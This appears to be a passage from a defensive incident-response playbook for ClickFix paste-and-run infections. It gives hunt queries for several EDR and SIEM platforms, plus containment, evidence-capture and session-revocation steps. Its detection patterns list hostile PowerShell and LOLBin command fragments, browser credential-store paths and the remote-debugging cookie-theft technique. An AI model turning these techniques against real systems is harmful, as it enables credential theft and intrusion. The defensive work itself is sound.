Stage 5 · TheftBrowser credential stores read by something that is not the browser; the remote-debugging bypass
--remote-debugging-port and ask it for the cookies. chrome.exe with that flag and a parent that is not explorer.exe or the browser is theft with few false positives.#event_simpleName=ProcessRollup2
| ImageFileName=/\\(chrome|msedge|brave)\.exe$/i
| CommandLine=/--remote-debugging-port|--remote-debugging-pipe|--remote-allow-origins|--headless|--user-data-dir|--restore-last-session/i
| ParentBaseFileName!=/^(explorer|chrome|msedge|brave|svchost|userinit)\.exe$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, CommandLine])
// Profile files copied out of the profile (reads are not logged)
#event_simpleName=/^(NewExecutableWritten|NewScriptWritten|RansomwareOpenFile|FileOpenInfo)$/
| TargetFileName=/\\(Login Data|Cookies|Web Data|Local State|key4\.db|logins\.json|cookies\.sqlite|places\.sqlite)$/i
| TargetFileName!=/\\User Data\\|\\Firefox\\Profiles\\/i
| table([@timestamp, ComputerName, ContextBaseFileName, TargetFileName])
Stage 6 · ExfiltrationOutbound connections from user-path binaries and script hosts after the paste
AppData, Temp or a script host is the upload. The sensor records the connection, not the byte count; size comes from the proxy or firewall.#event_simpleName=NetworkConnectIP4 ComputerName="<host>"
| @timestamp >= "<paste time>" | @timestamp <= "<paste time plus 2h>"
| ContextBaseFileName=/^(powershell|pwsh|mshta|curl|rundll32|regsvr32|msbuild|regasm|installutil|bitlockertogo)\.exe$|^more\.com$/i OR ContextImageFileName=/\\(AppData|Temp|Downloads|ProgramData|Users\\Public)\\/i
| !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16"])
| groupBy([ContextBaseFileName, RemoteAddressIP4, RemotePort], function=[min(@timestamp), count()])
| sort(_min, order=asc)
// Pair with #event_simpleName=DnsRequest ContextBaseFileName=<same> for the hostname.
Stage 7 · Session reuseThe host's users signing in from new IPs or networks
#repo="3pi_microsoft_entra_id" "<upn>"
// Entra sign-ins via the Microsoft Entra ID connector, searched as free text on the UPN.
// Read the IP and ASN from the parsed events and confirm the field names on one event before grouping.
// Okta: #repo=<okta repo> eventType="user.session.start" "<upn>". Google Workspace: #repo=<gws repo> "login_success" "<upn>".
// No connector: run the question in Entra (Sentinel tab) or the IdP's own console. Slack, GitHub and AWS console have their own audit logs.
Stage 8 · PersistenceEverything that survives a reboot, created after the paste
AppData, and NetSupport's client32.ini.#event_simpleName=AsepValueUpdate ComputerName="<host>"
| table([@timestamp, RegObjectName, RegValueName, RegStringValue, ContextBaseFileName])
#event_simpleName=ScheduledTaskRegistered ComputerName="<host>"
| table([@timestamp, TaskName, TaskExecCommand, TaskExecArguments, UserName])
#event_simpleName=CreateService ComputerName="<host>"
| table([@timestamp, ServiceDisplayName, ImageFileName, CommandLine])
#event_simpleName=ProcessRollup2 ComputerName="<host>"
| ImageFileName=/\\(schtasks|sc|wmic)\.exe$/i | CommandLine=/\/create|\/xml|create|eventfilter|commandlineeventconsumer/i
| table([@timestamp, ParentBaseFileName, CommandLine])
#event_simpleName=/^(NewExecutableWritten|NewScriptWritten)$/ ComputerName="<host>"
| TargetFileName=/\\Start Menu\\Programs\\Startup\\|\\client32\.(exe|ini)$|\\AppData\\.+\.dll$/i
| table([@timestamp, ContextBaseFileName, TargetFileName])
// WMI subscriptions and the full read-only diff: RTR runscript -CloudFile="Get-PersistenceSnapshot" -CommandLine="-Zip"
Stage 9 · SpreadOther hosts that resolved the lure or payload domains, or ran the same command shape
#event_simpleName=DnsRequest
| DomainName=/(<lure domain>|<payload domain>)$/i
| groupBy([DomainName, ComputerName, UserName], function=[min(@timestamp)])
#event_simpleName=CommandHistory
| CommandHistory=/<distinctive fragment of the pasted command>/i
| groupBy([ComputerName, UserName])
Act
Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.
T+0–10 · IsolateContain every host that ran the command, in one call
Console: Host management › select the hosts › Network contain. RTR keeps working on a contained host.
POST /devices/entities/devices-actions/v2?action_name=contain
{"ids": ["<AID>", "<AID>"]}
T+10–20 · CaptureCollect the command, the browser profile, memory and the persistence snapshot (RTR, Active Responder)
ActivitiesCache.db keeps the clipboard text when RunMRU was wiped; Prefetch, Amcache, SRUM and the USN journal show what ran and how much it sent; the decoded stager and the stealer's config may only exist in memory.Put Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df in the RTR script library and Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d in the put-files library in peacetime. xmemdump takes full memory natively if you prefer. Browser files are locked while the browser runs; cp them first or take them after the user closes it. Also export the 30 days of Entra sign-ins for every user of the host (Get-MgAuditLogSignIn) before retention takes them.
reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
get "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
get "C:\Users\<user>\Downloads\<file>"
get "C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db"
get "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History"
get "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
get "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"
get "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State"
get "C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\places.sqlite"
get "C:\Windows\System32\sru\SRUDB.dat"
get "C:\Windows\appcompat\Programs\Amcache.hve"
get "C:\Windows\Prefetch\<PAYLOAD>-<hash>.pf"
runscript -CloudFile="Get-PersistenceSnapshot" -CommandLine="-Zip -OutputPath C:\IR"
put MagnetRESPONSEv172_Self_Extracting_Archive.exe
run "C:\MagnetRESPONSEv172_Self_Extracting_Archive.exe" -CommandLine="/accepteula /unattended /output:C:\IR /caseref:<n> /captureram /capturepagefile /capturevolatile /saveitems"
memdump <pid>
xmemdump complete C:\IR\<host>.mem
T+15–30 · SecretsRevoke sessions and reset passwords for every user on those hosts, everywhere the browser was signed in
Entra: Revoke-MgUserSignInSession (refresh tokens; access tokens live up to an hour, disable first if privileged), or a Fusion SOAR workflow built and tested beforehand; then reset from a clean device (Identity Breach Response). The PRT on an Entra-joined device stays in the TPM; the browser's device-bound cookies derived from it are what the revoke covers. Then, per account the browser held: Google Workspace (Admin console › user › Security › Sign out), Okta (DELETE /api/v1/users/{id}/sessions), Slack (sign out of all sessions), GitHub (Sessions, and rotate PATs), AWS console (deactivate keys, re-issue MFA), password-manager desktop and extension sessions (deauthorise the device). Tell the user to do the same for personal accounts in the same browser.
Revoke-MgUserSignInSession -UserId <upn>
T+30–60 · BlockBlock the lure and the payload, and report the lure
Console: Endpoint security › IOC management. Set an expiry. Report the lure URL to Google Safe Browsing, to Google Ads or Microsoft Advertising if the referrer was an ad, to the site owner if it is a compromised legitimate site, and to your sector ISAC.
POST /iocs/entities/indicators/v1
{"indicators": [{"type": "sha256", "value": "<payload sha256>", "action": "prevent",
"severity": "high", "platforms": ["windows"], "applied_globally": true,
"expiration": "<yyyy-mm-dd>T00:00:00Z", "description": "ClickFix IR case #<n>"}]}
Hour 1+ · RebuildStop the running payload, then rebuild
Lift containment only on a rebuilt host, or on one the hunt clears.
kill <pid>
Hunt
Stage 1 · LureWhich page served the lure
endpoint.name = '<host>' AND src.process.name in:anycase ('chrome.exe','msedge.exe','firefox.exe','brave.exe')
AND event.type in ('DNS Resolved','GET','POST','CONNECT')
| columns event.time, event.type, src.process.name, event.dns.request, url.address
| sort event.time
// Read bottom-up from the paste time to the first domain the user does not recognise.
Stage 2 · Paste and runThe pasted command, from the Run dialog, the Explorer address bar or a terminal
# I am not a robot, # reCAPTCHA Verification ID, # Ray ID, or a fake # C:\...\file.pdf in FileFix). Remember the namespace, src.* is the parent and tgt.* the child.event.type = 'Process Creation'
AND src.process.name in:anycase ('explorer.exe','windowsterminal.exe','powershell.exe','pwsh.exe','cmd.exe','conhost.exe')
AND tgt.process.name in:anycase ('powershell.exe','pwsh.exe','cmd.exe','mshta.exe','curl.exe','msiexec.exe','certutil.exe','bitsadmin.exe','regsvr32.exe','rundll32.exe','wscript.exe','cscript.exe','conhost.exe','finger.exe','ssh.exe')
AND (tgt.process.cmdline contains:anycase ('http','-enc','-e ','-ec ','iex','invoke-expression','downloadstring','downloadfile','irm ','iwr ','-w hidden','-w 1','-nop','-ep bypass','-executionpolicy bypass','urlcache','-decode','/transfer','--headless','proxycommand','/i:http','scrobj','javascript:','frombase64string')
OR tgt.process.cmdline matches "(?i)#\\s*(I am not a robot|reCAPTCHA|Ray ID|Verification|Cloudflare|robot|[A-Z]:\\\\.+\\.(pdf|docx|txt))")
| columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline, src.process.storyline.id
// HTA save-as
event.type = 'Process Creation' AND tgt.process.name in:anycase ('mshta.exe')
AND src.process.name in:anycase ('chrome.exe','msedge.exe','firefox.exe','brave.exe','explorer.exe')
| columns event.time, endpoint.name, src.process.name, tgt.process.cmdline
// Win+R writes RunMRU, FileFix writes TypedPaths (registry events, if the agent records these keys; confirm on one host)
event.type = 'Registry Value Modified' AND registry.keyPath contains:anycase ('\\Explorer\\RunMRU', '\\Explorer\\TypedPaths')
| columns event.time, endpoint.name, registry.keyPath, registry.valueName, registry.value
Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command
event.type = 'Process Creation'
AND src.process.name in:anycase ('explorer.exe','windowsterminal.exe','powershell.exe','cmd.exe')
AND tgt.process.cmdline contains:anycase '\\downloads\\'
| columns event.time, endpoint.name, src.process.name, tgt.process.cmdline
// Pair with the browser's write:
event.type = 'File Creation' AND src.process.name in:anycase ('chrome.exe','msedge.exe','firefox.exe','brave.exe') AND tgt.file.path contains:anycase '\\downloads\\'
| columns event.time, endpoint.name, tgt.file.path
Stage 3 · Stage 2LOLBin loaders from user paths; the decoded stager lives in 4104 or memory
event.type = 'Process Creation'
AND tgt.process.name in:anycase ('mshta.exe','regsvr32.exe','rundll32.exe','curl.exe','certutil.exe','bitsadmin.exe','msiexec.exe')
AND tgt.process.cmdline contains:anycase ('http','\\appdata\\','\\temp\\','\\downloads\\','\\programdata\\','-decode','/transfer')
| columns event.time, endpoint.name, src.process.name, tgt.process.cmdline, src.process.storyline.id
// Everything the paste did, in one shot:
src.process.storyline.id = '<storyline id from the stage-2 hit>'
| columns event.time, event.type, src.process.name, tgt.process.name, tgt.process.cmdline, tgt.file.path, event.dns.request
| sort event.time
Stage 4 · PayloadWhat the stager left behind: new binaries and injection from user-writable paths
AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary, or inject into a legitimate process. NetSupport is client32.exe with client32.ini beside it.endpoint.name = '<host>' AND event.type = 'Process Creation'
AND tgt.process.image.path contains:anycase ('\\appdata\\','\\temp\\','\\downloads\\','\\programdata\\','\\users\\public\\')
| group first = min(event.time), runs = count(), cmdlines = array_agg_distinct(tgt.process.cmdline) by tgt.process.image.path, tgt.process.publisher, tgt.process.displayName
| sort first
// NetSupport and sideloads
endpoint.name = '<host>' AND (tgt.process.name in:anycase ('client32.exe') OR tgt.file.path contains:anycase ('\\client32.ini'))
| columns event.time, event.type, tgt.process.name, tgt.file.path
// The threat page (Threats > Storyline) names the family the engine classified; an unsigned binary with no displayName from Temp is the payload otherwise.
Stage 5 · TheftBrowser credential stores read by something that is not the browser; the remote-debugging bypass
--remote-debugging-port and ask it for the cookies. chrome.exe with that flag and a parent that is not explorer.exe or the browser is theft with few false positives.event.type = 'Process Creation'
AND tgt.process.name in:anycase ('chrome.exe','msedge.exe','brave.exe')
AND tgt.process.cmdline contains:anycase ('--remote-debugging-port','--remote-debugging-pipe','--remote-allow-origins','--headless','--user-data-dir','--restore-last-session')
AND !(src.process.name in:anycase ('explorer.exe','chrome.exe','msedge.exe','brave.exe','svchost.exe','userinit.exe'))
| columns event.time, endpoint.name, src.process.user, src.process.name, src.process.image.path, tgt.process.cmdline
// Profile files copied out of the profile (reads are not logged)
event.type = 'File Creation'
AND tgt.file.path matches "(?i)\\\\(Login Data|Cookies|Web Data|Local State|key4\\.db|logins\\.json|cookies\\.sqlite|places\\.sqlite)$"
AND !(tgt.file.path contains:anycase ('\\user data\\','\\firefox\\profiles\\'))
| columns event.time, endpoint.name, src.process.name, src.process.image.path, tgt.file.path
Stage 6 · ExfiltrationOutbound connections from user-path binaries and script hosts after the paste
AppData, Temp or a script host is the upload. Byte counts come from the proxy or firewall.endpoint.name = '<host>' AND event.type = 'IP Connect' AND event.network.direction = 'OUTGOING'
AND (src.process.image.path contains:anycase ('\\appdata\\','\\temp\\','\\downloads\\','\\programdata\\','\\users\\public\\')
OR src.process.name in:anycase ('powershell.exe','pwsh.exe','mshta.exe','curl.exe','rundll32.exe','regsvr32.exe','msbuild.exe','regasm.exe','installutil.exe','bitlockertogo.exe','more.com'))
| group first = min(event.time), connections = count() by src.process.name, src.process.image.path, dst.ip.address, dst.port.number
| sort first
// Pair with event.type = 'DNS Resolved' on the same src.process.storyline.id for the hostname.
Stage 7 · Session reuseThe host's users signing in from new IPs or networks
// M365 / Entra field names differ per parser. Discover first:
dataSource.name = '<entra_signin_source>' AND * contains '<upn>'
| limit 1 | columns *
// then group by the IP and ASN fields you found:
dataSource.name = '<entra_signin_source>' AND * contains '<upn>'
| group first = min(event.time), events = count() by <ip_field>, <asn_field>
| sort first
// Okta and Google Workspace sources: same shape, eventType user.session.start / login_success. No ingestion: ask the IdP's own console.
Stage 8 · PersistenceEverything that survives a reboot, created after the paste
AppData, and NetSupport's client32.ini.endpoint.name = '<host>' AND event.type = 'Registry Value Modified'
AND registry.keyPath contains:anycase ('\\CurrentVersion\\Run', '\\CurrentVersion\\RunOnce', '\\Winlogon', '\\Image File Execution Options')
| columns event.time, registry.keyPath, registry.valueName, registry.value, src.process.name
endpoint.name = '<host>' AND event.type = 'File Creation'
AND (tgt.file.path contains:anycase '\\start menu\\programs\\startup\\' OR tgt.file.path matches "(?i)\\\\client32\\.(exe|ini)$" OR tgt.file.path matches "(?i)\\\\AppData\\\\.+\\.dll$")
| columns event.time, src.process.name, tgt.file.path
endpoint.name = '<host>' AND task.name = *
| columns event.time, event.type, task.name, src.process.name, src.process.cmdline
endpoint.name = '<host>' AND event.type = 'Process Creation'
AND ((tgt.process.name in:anycase ('schtasks.exe') AND tgt.process.cmdline contains:anycase ('/create','/xml')) OR (tgt.process.name in:anycase ('sc.exe') AND tgt.process.cmdline contains:anycase 'create') OR (tgt.process.name in:anycase ('wmic.exe','powershell.exe') AND tgt.process.cmdline contains:anycase ('eventfilter','commandlineeventconsumer','__EventFilter')))
| columns event.time, src.process.name, tgt.process.cmdline
// Services, WMI subscriptions and the full read-only diff: RemoteOps, run Get-PersistenceSnapshot.ps1 -Zip (Capture, below).
Stage 9 · SpreadOther hosts that resolved the lure or payload domains, or ran the same command shape
event.dns.request contains:anycase ('<lure domain>', '<payload domain>')
| group first = min(event.time), hosts = estimate_distinct(endpoint.name), host_list = array_agg_distinct(endpoint.name) by event.dns.request
event.type = 'Process Creation' AND tgt.process.cmdline contains:anycase '<distinctive fragment of the pasted command>'
| group hosts = array_agg_distinct(endpoint.name), users = array_agg_distinct(src.process.user) by tgt.process.cmdline
Act
Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.
T+0–10 · IsolateDisconnect every host that ran the command, in one call
Console: select the endpoints › Actions › Disconnect from network. The management connection stays up.
POST /web/api/v2.1/agents/actions/disconnect
{"filter": {"ids": ["<agent id>", "<agent id>"]}}
T+10–20 · CaptureCollect the command, the browser profile, memory and the persistence snapshot (Fetch Files, RemoteOps)
ActivitiesCache.db keeps the clipboard text when RunMRU was wiped; Prefetch, Amcache, SRUM and the USN journal show what ran and how much it sent; the decoded stager and the stealer's config may only exist in memory.Fetch Files for the list below (NTUSER.DAT carries RunMRU and TypedPaths; browser files are locked while the browser runs, so fetch after the user closes it or take the copy RemoteOps makes). RemoteOps: upload Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df as a custom script with -Zip, and a short wrapper script that fetches Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d from your internal share and runs it unattended for RAM, pagefile and volatile triage; both scripts return their output as the script result. Also export the 30 days of Entra sign-ins for every user of the host (Get-MgAuditLogSignIn) before retention takes them.
C:\Users\<user>\NTUSER.DAT (RunMRU, TypedPaths; locked: fetch takes a shadow copy)
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\<user>\Downloads\<file>
C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\History
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State
C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\places.sqlite
C:\Windows\System32\sru\SRUDB.dat
C:\Windows\appcompat\Programs\Amcache.hve
C:\Windows\Prefetch\<PAYLOAD>-<hash>.pf
RemoteOps: Get-PersistenceSnapshot.ps1 -Zip -OutputPath C:\IR
RemoteOps: MagnetRESPONSE.exe /accepteula /unattended /output:C:\IR /caseref:<n> /captureram /capturepagefile /capturevolatile /saveitems
Remote Shell: reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
T+15–30 · SecretsRevoke sessions and reset passwords for every user on those hosts, everywhere the browser was signed in
Entra: Revoke-MgUserSignInSession (refresh tokens; access tokens live up to an hour, disable first if privileged), then reset from a clean device (Identity Breach Response). The PRT on an Entra-joined device stays in the TPM; the browser's device-bound cookies derived from it are what the revoke covers. Then, per account the browser held: Google Workspace (Admin console › user › Security › Sign out), Okta (DELETE /api/v1/users/{id}/sessions), Slack (sign out of all sessions), GitHub (Sessions, and rotate PATs), AWS console (deactivate keys, re-issue MFA), password-manager desktop and extension sessions (deauthorise the device). Tell the user to do the same for personal accounts in the same browser.
Revoke-MgUserSignInSession -UserId <upn>
T+30–60 · BlockBlock the lure and the payload, and report the lure
Add the payload's SHA1 to the Blocklist at Global or Account scope, with a description naming the case. Report the lure URL to Google Safe Browsing, to Google Ads or Microsoft Advertising if the referrer was an ad, to the site owner if it is a compromised legitimate site, and to your sector ISAC.
Hour 1+ · RebuildStop the running payload, then rebuild
Threat › Mitigation: Kill, Quarantine. Reconnect only a rebuilt host, or one the hunt clears.
Hunt
Stage 1 · LureWhich page served the lure, from the browser history
downloads table keeps the referrer and tab URL of anything saved, which is the lure's provenance for the download-folder and HTA variants.Hunt: Windows.Applications.Chrome.History (default globs cover Chrome, Edge, Brave)
URLRegex = . (everything; filter in the notebook to the 10 minutes before the paste)
Hunt: Windows.KapeFiles.Targets (Firefox places.sqlite and the Chromium "History" file with its downloads table)
Chrome = Y, Edge = Y, Firefox = Y
Notebook: SELECT * FROM source(artifact="Windows.Applications.Chrome.History") WHERE visited_time > '<paste time minus 10m>' ORDER BY visited_time
Stage 2 · Paste and runThe pasted command, from RunMRU, TypedPaths, the PowerShell history and the clipboard cache
TypedPaths, a terminal paste in the PSReadLine history file, and every variant in Windows Timeline's ActivitiesCache.db clipboard records, which survive the stager wiping RunMRU.Hunt: Windows.Timeline.Registry.RunMRU (Win+R)
dateAfter = <start of the window>
Hunt: Windows.Registry.NTUser (FileFix: Explorer address bar)
KeyGlob = Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths\*
Hunt: Windows.System.Powershell.PSReadline (Win+X / Terminal)
SearchStrings = http|iex|irm|iwr|downloadstring|mshta|curl|certutil|bitsadmin|I am not a robot|reCAPTCHA|Ray ID
UploadFiles = true
Hunt: Windows.Forensics.Timeline (ActivitiesCache.db: clipboard history; filter the notebook on the paste window)
Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command
Zone.Identifier stream holds the download URL.Hunt: Windows.Forensics.Usn
PathRegex = (?i)\\Downloads\\
DateAfter = <start of the window>
Hunt: Windows.Search.FileFinder
SearchFilesGlob = C:\Users\*\Downloads\*
Upload_File = Y
Then compare file times with Windows.Timeline.Registry.RunMRU / Windows.System.Powershell.PSReadline, and read the Zone.Identifier of the matched file.
Stage 3 · Stage 2The decoded stager from script-block logging, and loaders from user paths
Hunt: Windows.EventLogs.PowershellScriptblock
SearchStrings = DownloadString|Invoke-WebRequest|iwr |irm |FromBase64String|-join|\[char\]|Add-MpPreference
Hunt: Windows.EventLogs.EvtxHunter
ChannelRegex = (?i)^Windows PowerShell$
IdRegex = ^400$
IocRegex = HostApplication=(?!.*(ServerRemoteHost|ConfigurationManager))
Hunt: Windows.Analysis.EvidenceOfExecution (Prefetch, Amcache, BAM: mshta, curl, certutil, msiexec, regsvr32 and anything from AppData or Temp)
Stage 4 · PayloadWhat the stager left behind: new binaries, sideloaded DLLs and injected processes
AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary, or inject into a legitimate process. NetSupport is client32.exe with client32.ini beside it.Hunt: Windows.System.Pslist (live: running from AppData, Temp, ProgramData; Authenticode column)
ProcessRegex = .
Hunt: Windows.System.DLLs (sideloads: DLLs loaded from user-writable paths)
ProcessRegex = .
Hunt: Windows.Detection.Yara.Process (NetSupport, Lumma, StealC, SectopRAT rules from your intel feed)
Hunt: Windows.Search.FileFinder
SearchFilesGlob = C:\Users\*\AppData\**\client32.ini
Hunt: Windows.Analysis.EvidenceOfExecution (what ran since the paste, with Amcache SHA1 for VirusTotal)
Stage 5 · TheftBrowser credential stores copied, and the remote-debugging bypass
Login Data, Cookies or Local State outside the profile show in the USN journal. Since Chrome 127 (App-Bound Encryption) stealers instead start the browser with --remote-debugging-port and ask it for the cookies, which leaves a Prefetch and Amcache trace for the browser but no copy; the KapeFiles browser targets then tell you which accounts were signed in.Hunt: Windows.Forensics.Usn
PathRegex = (?i)\\(Login Data|Cookies|Web Data|Local State|key4\.db|logins\.json|cookies\.sqlite)$
DateAfter = <paste time>
Hunt: Windows.EventLogs.EvtxHunter (4688 with command-line auditing, if enabled)
ChannelRegex = Security
IdRegex = ^4688$
IocRegex = --remote-debugging-port|--remote-debugging-pipe|--remote-allow-origins
Hunt: Windows.KapeFiles.Targets (which accounts and sessions the browser held)
Chrome = Y, Edge = Y, Firefox = Y
Stage 6 · ExfiltrationWhat connected out after the paste, and how much it sent
Hunt: Windows.Network.NetstatEnriched (live: process, path, signer, remote address)
Hunt: Windows.Forensics.SRUM (Network Usage: BytesSent per application since the paste)
Hunt: Windows.EventLogs.EvtxHunter (Sysmon 3 or Windows Filtering Platform 5156, if logged)
ChannelRegex = Sysmon
IdRegex = ^3$
IocRegex = (?i)\\(AppData|Temp|Downloads|ProgramData)\\
Stage 8 · PersistenceEverything that survives a reboot
Collect on the host:
Windows.Sys.StartupItems (Run, RunOnce, startup folders)
Windows.System.TaskScheduler (tasks, including ones imported from XML)
Windows.System.Services
Windows.Persistence.PermanentWMIEvents (filter, consumer, binding)
Windows.System.DLLs (sideloads from AppData)
Hunt: Windows.System.PowerShell
Command = C:\IR\Get-PersistenceSnapshot.ps1 -Zip -OutputPath C:\IR -CompareTo C:\IR\clean-baseline.json
Stage 9 · SpreadOther hosts that visited the lure or pasted the same command
Hunt: Windows.Applications.Chrome.History (default globs cover Chrome, Edge, Brave)
URLRegex = (?i)<lure domain>
Hunt: Windows.Timeline.Registry.RunMRU
dateAfter = <start of the window>
Hunt: Windows.System.Powershell.PSReadline
SearchStrings = <distinctive fragment of the pasted command>|I am not a robot|reCAPTCHA|Ray ID
Act
Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.
T+0–10 · IsolateQuarantine every host that ran the command, by label
Label each client from the hunt result (for example ir-clickfix), then Hunt Manager › New Hunt › Match by Label › ir-clickfix, collecting the artifact below. The firewall policy only allows the Velociraptor server; collect it again with RemovePolicy = true to lift it.
Windows.Remediation.Quarantine
T+10–20 · CaptureCollect the command, the browser profile, the execution artefacts, full memory and the persistence snapshot
ActivitiesCache.db keeps the clipboard text when RunMRU was wiped; Prefetch, Amcache, SRUM and the USN journal show what ran and how much it sent; the decoded stager and the stealer's config may only exist in memory.Windows.Memory.Acquisition takes full memory with WinPmem and uploads it; use Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d instead when you also want the pagefile and a volatile triage in one package, run elevated from removable media or through Windows.System.PowerShell. Stage Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df on the host the same way. Also export the 30 days of Entra sign-ins for every user of the host (Get-MgAuditLogSignIn) before retention takes them.
Windows.Timeline.Registry.RunMRU
Windows.Registry.NTUser (KeyGlob = Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths\*)
Windows.System.Powershell.PSReadline (UploadFiles = true)
Windows.Forensics.Timeline (ActivitiesCache.db, clipboard)
Windows.KapeFiles.Targets (Chrome, Edge, Firefox, WindowsTimeline, Prefetch, Amcache, SRUM, RegistryHives, EventLogs)
Windows.Forensics.Usn (DateAfter = <paste time>)
Windows.Memory.Acquisition (full memory) or Windows.Memory.ProcessDump (ProcessRegex / PidRegex)
Windows.System.PowerShell (Command = C:\IR\Get-PersistenceSnapshot.ps1 -Zip -OutputPath C:\IR)
Windows.Sys.StartupItems, Windows.System.TaskScheduler, Windows.System.Services, Windows.Persistence.PermanentWMIEvents
T+15–30 · SecretsRevoke sessions and reset passwords for every user on those hosts, everywhere the browser was signed in
Entra: Revoke-MgUserSignInSession (refresh tokens; access tokens live up to an hour, disable first if privileged), then reset from a clean device (Identity Breach Response). The PRT on an Entra-joined device stays in the TPM; the browser's device-bound cookies derived from it are what the revoke covers. Then, per account the browser held: Google Workspace (Admin console › user › Security › Sign out), Okta (DELETE /api/v1/users/{id}/sessions), Slack (sign out of all sessions), GitHub (Sessions, and rotate PATs), AWS console (deactivate keys, re-issue MFA), password-manager desktop and extension sessions (deauthorise the device). Tell the user to do the same for personal accounts in the same browser.
Revoke-MgUserSignInSession -UserId <upn>
T+30–60 · BlockBlock the lure and payload domains, and report the lure
Block the domains at DNS and the proxy, and the payload in your EDR if you have one. Report the lure URL to Google Safe Browsing, to Google Ads or Microsoft Advertising if the referrer was an ad, to the site owner if it is a compromised legitimate site, and to your sector ISAC.
Hour 1+ · RebuildStop the running payload, then rebuild
Lift the quarantine only on a rebuilt host, or on one the hunt clears.
Windows.System.PowerShell
Command = Stop-Process -Id <pid> -Force
Hunt
Stage 1 · LureWhich page served the lure, and where the download came from
Zone.Identifier stream the browser writes on every download, including HostUrl and ReferrerUrl.index=windows host="<host>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
(Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\brave.exe")
earliest="<paste time minus 5m>" latest="<paste time>"
| table _time QueryName Image | sort _time
// The download's origin (Sysmon 15, FileCreateStreamHash)
index=windows host="<host>" source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=15 TargetFilename="*:Zone.Identifier"
| rex field=Contents "HostUrl=(?<HostUrl>\S+)" | rex field=Contents "ReferrerUrl=(?<ReferrerUrl>\S+)"
| table _time TargetFilename HostUrl ReferrerUrl Image
// Mail links: Safe Links click records in the O365 input (Defender for Office 365), search the lure domain as free text in sourcetype=o365:management:activity.
Stage 2 · Paste and runThe pasted command, from the Run dialog, the Explorer address bar or a terminal
# I am not a robot, # reCAPTCHA Verification ID, # Ray ID, or a fake # C:\...\file.pdf in FileFix). Event 400 in the classic Windows PowerShell log carries HostApplication, which is the full command line of the host that started PowerShell, and fires once per host start, so it is the stage-2 record for a Terminal paste rather than a noise source.index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\explorer.exe" OR ParentImage="*\\WindowsTerminal.exe" OR ParentImage="*\\powershell.exe" OR ParentImage="*\\pwsh.exe" OR ParentImage="*\\cmd.exe" OR ParentImage="*\\conhost.exe")
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\cmd.exe" OR Image="*\\mshta.exe" OR Image="*\\curl.exe" OR Image="*\\msiexec.exe" OR Image="*\\certutil.exe" OR Image="*\\bitsadmin.exe" OR Image="*\\regsvr32.exe" OR Image="*\\rundll32.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe" OR Image="*\\conhost.exe" OR Image="*\\finger.exe" OR Image="*\\ssh.exe")
| regex CommandLine="(?i)http|-enc|-e |-ec |iex|invoke-expression|downloadstring|downloadfile|irm |iwr |-w hidden|-w 1|-nop|-ep bypass|-executionpolicy bypass|urlcache|-decode|/transfer|--headless|proxycommand|/i:http|scrobj|javascript:|frombase64string|#\s*(I am not a robot|reCAPTCHA|Ray ID|Verification|Cloudflare|robot|[A-Z]:\\\\.+\.(pdf|docx|txt))"
| table _time host User ParentImage Image CommandLine
// Win+R writes RunMRU, FileFix writes TypedPaths (Sysmon 13, if the config includes the keys)
